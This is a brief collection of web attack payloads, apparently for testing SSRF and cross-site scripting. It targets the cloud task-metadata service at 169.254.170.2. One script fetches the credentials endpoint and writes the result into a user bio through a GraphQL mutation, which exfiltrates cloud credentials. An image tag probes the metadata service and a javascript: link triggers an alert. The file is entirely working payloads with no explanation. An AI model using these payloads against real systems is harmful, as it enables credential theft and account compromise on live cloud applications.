http://169.254.170.2/v2/credentials
<img src="http://169.254.170.2/v2/metadata">

<script>fetch("http://169.254.170.2/v2/credentials").then(r=>r.text()).then(t=>fetch("/api/graphql",{method:"POST",headers:{"content-type":"application/json"},body:JSON.stringify({query:"mutation { upsertBio(text:"+JSON.stringify(t)+") { id } }"})}))</script>

<a href="javascript:alert(1)">x</a>